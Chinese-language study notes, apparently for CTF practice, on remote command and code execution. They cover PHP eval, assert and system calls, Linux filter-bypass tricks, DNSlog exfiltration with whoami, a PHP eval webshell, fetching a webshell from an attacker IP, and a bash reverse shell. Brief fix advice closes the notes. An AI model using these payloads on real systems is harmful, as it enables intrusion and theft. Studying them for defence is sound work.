RCE漏洞学习
简介
RCE,Remote Command/Code Execute,远程命令/代码执行。
命令拼接符
注意,通过 url 传入命令时,拼接符需要进行 url 编码。
Windows
命令1 || 命令2
命令 1 执行成功,则不执行命令 2 ;命令 1 执行失败,则执行命令 2 。
命令1 | 命令2
命令 1 执行成功,则执行命令 2 ,仅显示命令 2 的执行结果;命令 1 执行失败,则不执行命令 2 。
命令1 && 命令2
命令 1 执行成功,则执行命令 2 ,两个命令的执行结果都输出;命令 1 执行失败,则不执行命令 2 。
命令1 & 命令2
命令 1、2 一起执行,互不影响。
Linux
命令1 ; 命令2
命令 1、2 依次执行,互不影响。
命令1 | 命令2
管道符,命令 1 的执行结果做为命令 2 的输入。
命令 1 执行成功,则执行命令 2 ,仅显示命令 2 的执行结果;命令 1 执行失败,则不执行命令 2 。
命令1 || 命令2
命令 1 执行成功,则不执行命令 2 ;命令 1 执行失败,则执行命令 2 。
命令1 && 命令2
命令 1 执行成功,则执行命令 2 ,两个命令的执行结果都输出;命令 1 执行失败,则不执行命令 2 。
函数
PHP
eval()
把字符串按照 PHP 代码来执行。
1 | eval(phpinfo()); //可以 |
1 | //?cmd=phpinfo(); 分号必须有 |
assert()
如果是字符串将会被当作 PHP 代码执行。
1 | assert(phpinfo()); //可以 |
1 | //?cmd=phpinfo(); 分号可有可无 |
preg_replace()
1 | preg_replace($pattern, $replacement, $subject); |
执行一个正则表达式的搜索和替换。
$pattern 为正则表达式,$subject 为目标字符串,将匹配到的部分用 $replacement 替换。
当 $pattern 处出现 /e
修正符,$replacement 会被当作 PHP 代码执行。
1 | //?cmd=phpinfo(); 分号可有可无 |
call_user_func()
1 | call_user_func(函数a, xxx) |
调用函数 a ,xxx 为函数 a 的参数。
经测试,只有 assert 可以,eval 不行。
1 | //?cmd=phpinfo(); 分号可有可无 |
system() 和 passthru()
执行操作系统命令,仅当执行成功时输出执行结果。
1 | system/passthru("命令"); //标准写法 |
1 | //?cmd=ver 不要在命令两边加引号,否则无法执行 |
exec()
执行操作系统命令,但不会输出任何内容。
1 | exec("命令"); |
shell_exec()
执行操作系统命令,返回执行结果,但不会输出。
可使用 echo shell_exec("命令");
将执行结果输出。
绕过
Windows 会把 echo 后的东西原封不动输出。
下面的内容仅针对 Linux 。
通用绕过方式
加引号
单、双引号均可,如 who''ami
。
引号内为空,系统会忽略引号。
反斜杠
/ 表示路径,\ 表示转义符。如果 \ 后面跟的是没有转义意义的字符,则会忽略 \ 。
以下几种过滤情况都可以尝试通用绕过方式。
过滤空格
可用 $IFS 替代空格。
注意,对于 echo 12$IFS34
,输出 12
而不是 12 34
,因为系统会认为 $ 后面的都是变量名,而前面又没定义变量,所以不会输出任何东西,怎么办呢?
引号绕过
echo 12$IFS""34
,引号会截断变量名。
局部变量法
a=34;echo 12$IFS$a
大括号绕过
echo 12${IFS}34
,限定变量范围。
添加内置变量
echo 12$IFS$134
,$1
~`$9、
$@、
$*` 都是内置变量,可截断变量名。
<> 和 < 绕过
<> 和 < 可替代空格。
过滤命令
编码绕过
base64
1 | echo 命令|base64 #输出命令进行base64加密后的密文 |
hex 16进制
1 | echo 0x加密后的命令|xxd -r -p|bash #先解密命令,再输出命令由bash执行的结果 |
oct 8进制
1 | #已知 (printf ls) 或 (echo ls) 为输出ls的执行结果 |
局部变量绕过
将命令拆分为多个变量,通过输入变量名的方式绕过。
cat flag.txt
,可拆解为 a=c;b=a;c=t;d=.txt;e=ag;f=fl;$a$b$c$IFS$f$e$d
。
内置变量绕过
内置变量如上述,cat flag.txt
可添加为如 c$1a$2t flag.txt
。
反斜杠绕过
跨行
1 | $ cat \ |
单行
c\a\t flag.txt
使用绝对路径加载命令
/bin/cat flag.txt
命令代替绕过
cat
more、head、tail、rev、nl、sort、uniq、od
hexdump -b file:以 8 进制显示文件内容。
xxd file:以 16 进制显示文件内容。
file -f file:
1 | file -f flag.txt |
awk NR file:效果跟 cat file
一样。
ls
dir
过滤flag关键字
通配符绕过
cat ????.???
cat /f*
[] 和 {} 绕过
类似正则匹配,[] 匹配其内一个字符,{} 匹配其内所有字符,如:
1 | cat f[l,s]ag.txt #或cat f[a-z]ag.txt |
字符串反序绕过
cat flag.txt
的反序为 txt.galf tac
,配合 rev 命令使其正序。
1 | txt.galf tac|rev|bash |
字符串截取绕过
假设 ls 的执行结果为 flag.txt ,则可构造 cat $(expr substr $(ls) 1 8)
。
`` 和 $() 绕过
如果 ls 的结果为 flag.txt,则可 cat `ls` 或 cat $(ls) ,还可 ls|xargs cat 。
xargs:进行标准输出格式转换。
ls|xargs cat
:通过管道符获取 ls 命令的标准输出,再通过 xargs 命令对标准输出格式化为 cat 命令的参数。
命令无回显
延时
Linux 下结合 sleep 命令。
监听
攻击机执行 nc -lvp 7777
开启监听,目标机执行 curl ip:7777
发出 HTTP 请求,如果攻击机收到请求则说明命令有执行。
DNSlog
域名级别:
一级域名是互联网上的最高级别的域名。它是域名中最右边的部分,例如 “.com”、”.org”、”.net” 。一级域名是由顶级域名注册机构(例如 Verisign、Public Interest Registry 等)进行管理和分配的。
二级域名是一级域名下面的一个级别。它位于一级域名的左边,是一个有独立含义的名称。例如,在 “example.com” 中,”example” 是二级域名。
三级域名是在二级域名下再划分的一个级别。它位于二级域名的左边,是更加具体的子域名。例如,在 “blog.example.com” 中,”blog” 是三级域名。
域名的层级结构可以继续扩展,例如四级域名、五级域名,以此类推。每个级别的域名都可以有自己的独立设置和管理,用于指向不同的网络资源或服务。
如果 HTTP 请求的目标不是 IP 地址而是域名,则需要调用域名解析服务(DNS)将域名转换为 IP 地址。
DNSlog,域名解析服务日志。在 ping 或 curl 一个域名时,就会调用域名解析服务。请求类似 DNSlog.cn 这些带有 DNSlog 的站点里的域名时,可以在这些站点里查看 DNSlog 。
数据外带
DNSlog
如 curl `whoami`.xxx.dnslog.cn 。
内容迁移
将 flag.php 的内容迁移到浏览器可直接访问的文件中。
cp flag.php 1.txt
→localhost/1.txt
mv flag.php flag.txt
→localhost/flag.txt
tar cvf flag.tar flag.php
→localhost/flag.tar
tar zcvf flag.tar.gz flag.php
→localhost/flag.tar.gz
zip flag.zip flag.php
→localhost/flag.zip
直接写入 webshell
传入 echo "<?php @eval($_POST['cmd']); ?>" > webshell.php
,然后对 webshell.php 进程操控。
外部下载 webshell
传入 wget 攻击机ip -O webshell.php
,下载攻击机上的 webshell.php 到目标机上。
反弹 shell
攻击机监听端口:
nc -lvp 777
。目标机上执行命令:
bash -i >& /dev/tcp/攻击机ip/777 0>&1
。接下来在目标机上执行的所有命令的结果都将被重定向到/dev/tcp/攻击机ip/777
指定的攻击机上。bash
:用于启动 Bash Shell 。-i
:bash
命令的选项,表示以交互模式运行。这将使得 Shell 在连接建立后保持交互状态,可以接收输入和输出。>&
:重定向符号,用于将输出重定向到某个地方。/dev/tcp/攻击机ip/777
:这是一个特殊的文件路径,用于指定要重定向到的目标地址和端口。在这里,/dev/tcp
是一个虚拟文件系统,攻击机ip
是攻击机的 IP 地址,777
是要连接的目标端口号。0>&1
:另一个重定向符号,表示将输入重定向到与输出相同的位置。
无数字字母
异或绕过、或绕过、取反绕过、自增绕过。
对传入参数进行上述操作后再传入。
修复
- 在执行相关函数前,对传入的变量值做好过滤,对敏感字符进行转义。
- 不能完全控制的危险函数最好不要使用。
- 进行权限控制,如文件读写权限、目录访问权限。